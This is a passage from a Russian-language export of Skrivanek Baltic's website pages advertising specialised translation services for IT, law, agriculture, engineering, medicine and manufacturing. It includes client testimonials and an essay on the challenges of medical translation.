качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Качественные переводы в отрасли ИТ и компьютерных игр: письменные, устные и нотариально заверенные. Предлагаем локализацию и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/ - Translation Priorities: Optional Для отрасли информационных технологий (ИТ) характерен совершенно особенный язык. Будучи специалистам в сфере ИТ, вы знаете, как важно придерживаться точной терминологии в общении с коллегами и передавать информацию конечному пользователю простыми словами. Лингвисты Skrivanek наводят мосты между ИТ-специалистами и их клиентами, создавая простые и понятные тексты. Сотрудничая с компаниями, работающими в сфере игр и ИТ, Skrivanek выполняет корректные, терминологически точные письменные и устные переводы, а также скрупулезно соблюдает установленные сроки. В нашей команде работают специалисты, которые владеют терминологией ИТ-индустрии и следят за ее актуальными новостями, а также умеют точно описывать технические характеристики продуктов. Независимо от того, что вам нужно, — перевод письменного текста, языковые курсы для освоения экспортных рынков или услуги устного переводчика на деловой встрече — специалисты Skrivanek будут рады предоставить вам необходимые решения. Лингвисты Skrivanek переведут любые тексты, в том числе руководства, технические описания, документы о корпоративных расходах, маркетинговые материалы и др. Знания наших переводчиков позволяют выполнять качественную локализацию программного обеспечения, в т. ч. компьютерных игр. В процессе перевода наши специалисты используют различные автоматизированные программы, которые помогают правильно использовать программные коды и команды, что так важно в ИТ-индустрии. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ОТРАСЛИ ИТ БОЛЕЕ ЧЕМ В 100 ЯЗЫКОВЫХ КОМБИНАЦИЯХ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: локализацию программ и перевод компьютерных игр; перевод Google Ads; перевод руководств по эксплуатации; подготовку корпоративных материалов; перевод сравнительных обзоров, статей и пресс-релизов; синхронный и последовательный перевод на различных мероприятиях, включая семинары, конференции и деловые встречи; специализированные языковые курсы; другие необходимые языковые услуги. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Качественные переводы юридических текстов: письменные, устные и нотариально заверенные. Предлагаем локализацию и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/ - Translation Priorities: Optional Представляемая вами область юриспруденции влияет на множество событий и процессов, в том числе на судьбы людей. Именно поэтому вы как никто другой понимаете важность точного подбора слов и грамотных формулировок. Лингвисты Skrivanek хорошо ориентируются в особенностях правовой системы; предоставляемые нами переводческие услуги помогут вам сосредоточиться на непосредственной работе. Независимо от того, что вам нужно, — перевод договоров, законов, нормативных актов, судебных решений или услуги устного переводчика для участия в судопроизводстве — специалисты Skrivanek будут рады оказать необходимую поддержку. В случае необходимости мы можем предоставить услугу синхронного перевода на язык жестов. В нашей команде работают специалисты, которые знакомы со спецификой юридических текстов и могут выполнить перевод так, чтобы он точно отражал содержание оригинального документа и имел тот же юридический смысл на иностранном языке. Следует отметить, что, переводя юридические тексты, мы строго соблюдаем требования по составлению и оформлению документов. Конфиденциальность — наш приоритет при работе с любыми юридическими текстами и клиентами. Мы являемся предприятием, сертифицированным в соответствии со стандартами ISO 27001 и ISO 9001. Мы гордимся своим активным сотрудничеством с государственными учреждениями, местными органами власти, агентствами ЕС, известными адвокатскими конторами и искренне благодарны им за оказанное доверие. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ЮРИДИЧЕСКОЙ ОТРАСЛИ ВО ВСЕХ ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод законов и других нормативных актов и их проектов; перевод договоров и их проектов; перевод судебных решений, правовой практики и судопроизводства; перевод исков, жалоб и заявлений; перевод доверенностей; перевод заключений, экспертных отчетов; синхронный и последовательный перевод на различных мероприятиях, в том числе в судебных разбирательствах (есть возможность заказать синхронный перевод на язык жестов); специализированные языковые курсы для людей с разным уровнем знаний; услуги ассистента для иностранных представителей; другие необходимые услуги. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Качественные переводы в отрасли сельского хозяйства и лесоводства: письменные и устные переводы. Предлагаем локализацию и языковые курсы. Узнайте больше! - Published: 2017-12-19 - Modified: 2021-10-29 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/ - Translation Priorities: Optional Сельское хозяйство и лесоводство имеют большое значение для латвийской экономики, и их развитие немыслимо без сотрудничества с зарубежными партнерами. Одним из условий успешного развития бизнеса является общение без языковых барьеров. Лингвисты Skrivanek помогут вам наладить контакт с клиентами и партнерами, а также учреждениями Европейского союза, и вы сможете направить все свои силы на конкретные рабочие задачи. Наши специалисты имеют большой опыт выполнения письменных переводов, в т. ч. различной документации, а также устных переводов в рамках реализации крупных международных проектов. Кроме того, они обладают достаточными знаниями о сельском хозяйстве, чтобы перевод и терминология были максимально точными. Мы переводим различные руководства по эксплуатации сельскохозяйственной и лесозаготовительной техники, а также инструкции по выращиванию культурных растений в условиях нашего региона. Команда Skrivanek достаточно широка, чтобы мы могли выбрать наиболее подходящего переводчика для выполнения вашего заказа. Земледелие, животноводство, птицеводство, свиноводство, овцеводство, растениеводство, селекция, лесозаготовка, лесоводство, сельскохозяйственная мелиорация — наши лингвисты имеют вышеупомянутые специализации, и поэтому государственные и муниципальные учреждения, а также компании, работающие в этих областях, часто выбирают нас в качестве деловых партнеров. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ОТРАСЛИ СЕЛЬСКОГО ХОЗЯЙСТВА И ЛЕСОВОДСТВА ВО ВСЕХ ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод технических нормативов и технологической документации; перевод описания продуктов и отраслевых технологий; перевод научных статей и исследований; перевод документов о техническом обслуживании и эксплуатационных документов; перевод различных лицензий, разрешений и прочих документов; пояснение и уточнение директив ЕС; синхронный и последовательный перевод на различных мероприятиях, включая конференции, семинары, поездки с целью обмена опытом, деловые встречи; специализированные языковые курсы; другие необходимые услуги. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Переводы в области машиностроения и железнодорожной отрасли: письменные и устные переводы. Предлагаем локализацию и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/ - Translation Priorities: Optional Точность и пунктуальность являются важнейшими качествами в сфере машиностроения и железнодорожной промышленности. Вы знаете, что отступления недопустимы, и вам необходим партнер, который ответственно отнесется к доверенным задачам. Более того, с учетом глобального значения этой отрасли, ее разнообразия и высокой добавленной стоимости деловые партнеры должны иметь обширные знания и богатый опыт. Мы ежедневно используем современные технические достижения для повышения качества и производительности, что позволяет экономить не только наши, но и ваши средства. За двадцать пять лет работы компании наши специалисты выполнили несметное множество переводов в области машиностроения и железнодорожной промышленности. В настоящее время мы активно участвуем в реализации проекта по развитию железнодорожной инфраструктуры балтийского значения. Мы можем с полной ответственностью заявить, что обладаем опытом и необходимыми техническими знаниями в этой сфере, а также строго соблюдаем установленные сроки. Независимо от того, что вам нужно, — перевод письменного текста или устный перевод на деловой встрече — специалисты Skrivanek помогут вам добиться желаемого результата. Лингвисты Skrivanek выполнят высококачественный перевод всех доверенных нам текстов, в том числе документов о корпоративных расходах, договоров, положений о конкурсах, технических спецификаций, маркетинговых материалов и др. Наша команда состоит не только из филологов, но и из специалистов, имеющих образование и опыт работы в инженерно-технической отрасли, которые помогают нам корректно использовать специфическую терминологию. Металлургия и металлообработка, производство механизмов и рабочих машин, в том числе автомобилей и прицепов, системные сообщения, ремонт оборудования, производство электронного и оптического оборудования, а также все, что необходимо для железнодорожной отрасли и тесно связано с машиностроением и металлообработкой, — наши специалисты обладают достаточными знаниями в перечисленных областях, чтобы выполнить качественный перевод. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ ДЛЯ ОТРАСЛИ МАШИНОСТРОЕНИЯ И ЖЕЛЕЗНОДОРОЖНОЙ ПРОМЫШЛЕННОСТИ В ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод описания произведенных продуктов; перевод инструкций по установке оборудования, руководств по эксплуатации и системных уведомлений; перевод деловой переписки с соблюдением надлежащей терминологии; перевод рекламных текстов, маркетинговых материалов, годовых отчетов; синхронный и последовательный перевод на различных семинарах, конференциях и деловых встречах; языковые курсы разной интенсивности для людей с разным уровнем знаний; услуги графического дизайна (DTP) с целью корректного оформления материалов; другие услуги, отвечающие вашим потребностям. МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАШИ ПОЖЕЛАНИЯ И ПОДГОТОВИМ СПЕЦИАЛЬНОЕ ПРЕДЛОЖЕНИЕ Отправить запрос Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Переводы текстов медицинской тематики: письменные, устные и нотариально заверенные. Предлагаем локализацию и языковые курсы. - Published: 2017-12-19 - Modified: 2024-08-12 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/ - Translation Priorities: Optional Необходим перевод? Ищете языковое решение или эксперта, который может дать совет? Мы подготовим предложение, разработанное специально для вас. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов МЫ ГОРДИМСЯ СОТРУДНИЧЕСТВОМ С ШИРОКО ИЗВЕСТНЫМИ МЕДИЦИНСКИМИ ОРГАНИЗАЦИЯМИ, А ТАКЖЕ ПРЕДПРИЯТИЯМИ И УЧРЕЖДЕНИЯМИ, ПРОВОДЯЩИМИ КЛИНИЧЕСКИЕ ИССЛЕДОВАНИЯ. МЫ ВЫПОЛНЯЕМ ПЕРЕВОДЫ В ПОПУЛЯРНЫХ КОМБИНАЦИЯХ ЕВРОПЕЙСКИХ ЯЗЫКОВ. НАШИ УСЛУГИ ВКЛЮЧАЮТ: перевод медицинских документов (эпикризов, выписок, историй болезни, перевод справок об отсутствии COVID-19, перевод документации об SARS-CoV-2 (COVID-19), перевод анализов, врачебных заключений и т. д. ), клинических исследований; перевод фармацевтической документации (описания лекарств, информации для врачей и пациентов, документации по контролю качества и т. д. ); перевод документации медицинского оборудования (инструкций по эксплуатации, описания оборудования и т. д. ); перевод научных статей и веб-сайтов, посвященных медицине и фармацевтике; синхронный и последовательный перевод на конференциях и семинарах, при общении с пациентами (в последнем случае есть возможность заказать синхронный перевод на язык жестов); языковые курсы для людей с разным уровнем знаний, в т. ч. обучение медицинского персонала для успешной работы за рубежом; другие услуги, отвечающие вашим потребностям. Область медицины и клинических исследований очень требовательна и не допускает никаких отступлений: в ней работают профессионалы, от чьих знаний и навыков зависят жизнь и здоровье людей. Любая поступающая в оборот медицинская информация многократно проверяется, ведь она должна быть точной и однозначной. Медицинские тексты являются едва ли не самыми сложными для перевода и потому требуют привлечения дипломированных специалистов; команда медицинских переводчиков Skrivanek состоит из врачей и людей с высшим медицинским образованием, которые прекрасно владеют родным языком. Переводчики и редакторы, работающие с медицинскими текстами, осознают свою ответственность за последствия неточного или невнимательного перевода. Специалисты Skrivanek гарантируют качество своей работы и соблюдение сроков выполнения заказа, а в случае текстов, связанных с медициной и клиническими исследованиями, наши требования еще выше. Мы являемся предприятием, сертифицированным в соответствии со стандартами ISO 27001 и ISO 17100. Кроме того, мы гарантируем, что доверенная нам информация не попадет к третьим лицам. Если вам нужен перевод маркетинговых брошюр, историй болезни, документации клинических исследований и прочих письменных материалов или вы нуждаетесь в услугах устного переводчика на конференциях и других мероприятиях, Skrivanek с радостью окажет помощь и гарантирует высококачественный результат. МЕДИЦИНСКИЕ ТЕКСТЫ Точность, тщательность, новейшие научные достижения, современные технологии и развитие – все это и не только характеристики современной медицины. Медицина (лат. medicina – «лечение», «целительство») – это система научных заключений и практических действий, направленных на сохранение здоровья человека. По своей сути медицина – это отрасль науки о здоровье человека. В ней изучаются организм человека, его строение, функции, но больше всего – болезни и возможности их лечения. Цель медицины – определить происхождение болезней, их течение, а также способы диагностики, лечения и профилактики заболеваний. Сегодняшняя медицина тесно связана с новейшими научными достижениями в сфере здравоохранения и использует преимущества медицинских технологий. Первой цивилизацией, которая глубоко исследовала медицину и оставила письменные свидетельства своих практик и процедур, был Древний Египет. Старейшие сохранившиеся египетские тексты о медицине – это шесть папирусов. В период с 2000 по 1500 годы до нашей эры египетская медицина оказывала влияние на развитие медицины соседних регионов, в том числе Древней Греции. Из Греции ее влияние распространилось дальше, затронув в том числе и развитие медицины Западной цивилизации. В наши дни, наряду со стремительным развитием медицинской науки, технологий, методов лечения, практик, фармацевтических производств, во всем мире регулярно проводятся крупномасштабные конференции, посвященные медицине и медицинскому оборудованию, его производству; молодые медики учатся и стажируются в разных странах мира, обмениваются опытом. Издаются новые медицинские книги, публикуются исследования, выходят статьи, обеспечивая глобальный обмен новейшими данными между медицинскими работниками. Поскольку эти тексты составляются на разных языках, большое значение имеют перевод медицинских текстов и его исполнители – устные и письменные медицинские переводчики. ПЕРЕВОД МЕДИЦИНСКИХ ТЕКСТОВ Медицинские тексты являются едва ли не самыми сложными для перевода и потому требуют привлечения дипломированных специалистов. Команда медицинских переводчиков Skrivanek состоит из врачей и людей с высшим медицинским образованием, которые прекрасно владеют родным языком. Работающие с медицинскими текстами переводчики и редакторы осознают свою ответственность за последствия неточного или невнимательного перевода. Медицинский перевод предусматривает обязательное исследование сложной терминологии и глоссария, точность передачи текста, наличие новейших знаний в области медицины и представления о смысле переводимого текста. Предприятия отрасли здравоохранения (например: фармацевтические предприятия, организации, ведущие клинические исследования, производители медицинского и хирургического оборудования) сильно зависят от работы лучших поставщиков услуг медицинского перевода, своевременно обеспечивающих последовательное и точное воспроизведение специализированного содержания. Кроме того, медицинский перевод предусматривает переводы документов – учебных материалов, медицинских бюллетеней, описаний лекарственных средств и др. – для нужд как профессионалов отрасли здравоохранения, так и пациентов, а также переводы инструкций по использованию медицинских приборов, маркетинговых материалов или клинической, юридической и технической документации. На данный момент все страны Европейского союза обязывают предприятия и организации переводить описания маркировки медицинских приборов или фармацевтических изделий на государственный язык. Зачастую необходим перевод документов клинических исследований, чтобы они стали доступны местным врачам, пациентам и представителям регулирующих органов. Сегодня с учетом стремительного роста во всем мире возможностей для медицинских исследований и инвестиций в отрасли фармацевтики, биотехнологий, химических веществ и медицинских приборов (в особенности в контексте пандемии COVID-19) как никогда актуален спрос на переводы медицинских текстов. Переводы домашних страниц больниц, клиник, поликлиник и даже аптек не отстают от переводов маркетингового и рекламного содержания любого другого бизнеса, растет спрос на популяризацию медицинского контента на разных языках, чтобы охватить и заинтересовать максимально широкий круг потенциальных клиентов. Среди крупных медицинских учреждений или корпораций медицинских предприятий весьма востребован перевод содержания их домашних страниц на другие языки, чтобы пациентам со всего мира было легче ориентироваться и получить доступ не только к лучшим местам лечения, но и к современным и качественным лекарствам, медицинским процедурам и манипуляциям. Языковые специалисты Skrivanek специализируются на переводе текстов клинических исследований, медицинских обследований и заключений, рецептов, описаний, этикеток и других документов на лекарственные средства на все и со всех языков Балтийского региона. СПЕЦИФИКА ПЕРЕВОДА МЕДИЦИНСКИХ ТЕКСТОВ Перевод медицинских текстов – очень сложная задача. Американский переводчик медицинских текстов Генри Фишбах (1921–2008), родившийся в Австрии, прославился своим утверждением, что «перевод медицинских текстов является, вероятно, самым универсальным и древнейшим видом научного перевода, поскольку анатомия и физиология человека повсеместна и одинакова». По мнению Фишбаха, спрос на перевод медицинских текстов и на устный перевод в здравоохранении неизменен, поскольку с незапамятных времен исследования человеческого организма были направлены на изучение общих признаков и поиск универсальных решений характерных проблем, с которыми сталкиваются люди по всему миру. Последствия неточного перевода документов, относящихся к медицине, здравоохранению и фармацевтике, могут быть непрогнозируемыми. При переводе информации, имеющей отношение к медицине и здравоохранению, буквальный машинный перевод или человеческие ошибки, вызванные невнимательностью, просто недопустимы. Фактически язык перевода медицинских текстов – это научный язык, который исключает любого рода эмоциональные оттенки и необъективную интерпретацию содержания, не позволяет использовать догадки или допущения. Поэтому к переводу медицинских текстов привлекаются только отраслевые эксперты. Для контроля качества проектов перевода медицинских текстов Skrivanek Baltic привлекает двух опытных языковых специалистов, один из которых берет на себя роль терминолога и занимается изучением и проверкой терминологии, а другой выполняет перевод текста, при этом терминолог отвечает за правильность терминологии во всем проекте перевода и передачу точного списка терминов корректору, который занимается лишь проверкой грамматики. Безусловно, тональность каждого текста медицинского перевода немного меняется в зависимости от целевой аудитории и от того, кому адресован данный текст, т. е. если общение происходит между знатоком и непрофессиональным читателем, например, между врачом и пациентом или между производителем и конечным пользователем медицинских приборов/лекарственных средств, при переводе необходимо использовать легкий, несложный язык, а также дополнительно пояснять термины, чтобы конечный пользователь/неспециалист мог понять специализированную терминологию. НАИБОЛЕЕ РАСПРОСТРАНЕННЫЕ ПРОБЛЕМЫ В ПЕРЕВОДЕ МЕДИЦИНСКИХ ТЕКСТОВ Будет ли медицинский перевод удачным или неудачным, всегда зависит от того, насколько точно употребляется терминология, а также от уровня знаний выполняющего перевод языкового специалиста и его представления о конкретной тематике. Ошибки и трудности в медицинском переводе можно классифицировать по эквивалентности, удобочитаемости, использованию эпонимов, акронимов, аффиксации и полисемии, которые отражают основные стилистические и лексические проблемы, создающие или «разрушающие» медицинский перевод. Медицинские эпонимы относятся к специфической терминологии в сфере медицины. Это признаки и симптомы, которые обычно носят имена их первооткрывателей или пациентов. С учетом широкого спектра употребляемой в медицине научной терминологии часто возникает вопрос выбора между эпонимом и другим равноценным термином, при этом нужно уделять особое внимание использованию терминологии и в зависимости от того, какой термин чаще или шире используется. К тому же, помимо сложного словарного запаса и технических аспектов, трудности медицинского перевода в глобальном масштабе также связаны с точностью и соответствием специфике рынка. Это исключает свободный подход к переводу, предписывает строгое соблюдение посыла источника и запрещает свободную интерпретацию текста. Также важно обращать внимание на равноценность терминологии, чтобы не допустить неверного перевода. Если нам потребуется ясно определить наиболее существенное отличие перевода медицинских текстов от переводов в любых других отраслях, то основными ключевыми словами будут «стандарт» и «качество». Основное требование к переводчикам медицинских текстов и языковым специалистам – наличие практического опыта, безупречные теоретические знания биологии, химии и, конечно, знание специфической отраслевой терминологии. При этом каждый потенциальный заказчик медицинских переводов очень высоко ценит соответствие перевода нормативным актам и правилам, исключающее риск критических отзывов и негативной реакции. При соблюдении требований, предъявляемых на практике к качеству медицинского перевода, также очень важны стандартизованные процессы медицинского перевода, регулируемые Международными стандартами качества (ISO). Поэтому при переводе медицинских текстов важен двоякий подход – переводы должны соответствовать не только терминологии, но и стилистической четкости, и требованиям целевых рынков. Основные преимущества, отличающие сферу медицинских переводов от других сфер перевода, ныне востребованные среди вовлеченных сторон по всему миру: необходимость в профессиональном, созданном человеком медицинском переводе для любого эффективного бизнеса в сфере здравоохранения и медицины, поскольку в наши дни значение «медицинского туризма» важно как никогда. Качественный медицинский перевод, основанный на взаимовыгодных отношениях между медицинским учреждением и клиентом, обеспечивает медицинской отрасли выгодный результат, способствуя удовлетворенности пациентов и потребителей. Перевод медицинского содержания, например, пространных описаний специализированных исследований или исследований действия лекарственных средств и (или) медицинского оборудования, одинаково выгоден как специалистам сферы здравоохранения, так и их пациентам, потому что обеспечивает информированность каждой из сторон и открывает новые пути для зарубежных пациентов и инвесторов, нуждающихся в современных услугах оздоровления и медицинских процедурах. В частности, в фармацевтической отрасли высококачественные, профессиональные медицинские переводы еще никогда так не ценились, как в наши дни, поскольку доступность фармацевтических продуктов развитых стран на международных рынках стремительно растет. Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность --- > Переводы, отвечающие специфике производственной сферы: письменные, устные и нотариально заверенные. Локализация и языковые курсы. - Published: 2017-12-19 - Modified: 2023-01-24 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/ - Translation Priorities: Optional Наивысшего уровня эффективности в производственном секторе могут достичь только мощные компании, которые тщательно выбирают своих партнеров. Работаете в пищевой промышленности или производите текстильные изделия и другие товары? Чтобы конечный продукт был качественным, вам в любом случае надо непрерывно поддерживать коммуникацию с поставщиками сырья, клиентами и другими партнерами. Skrivanek поможет вашему производственному предприятию 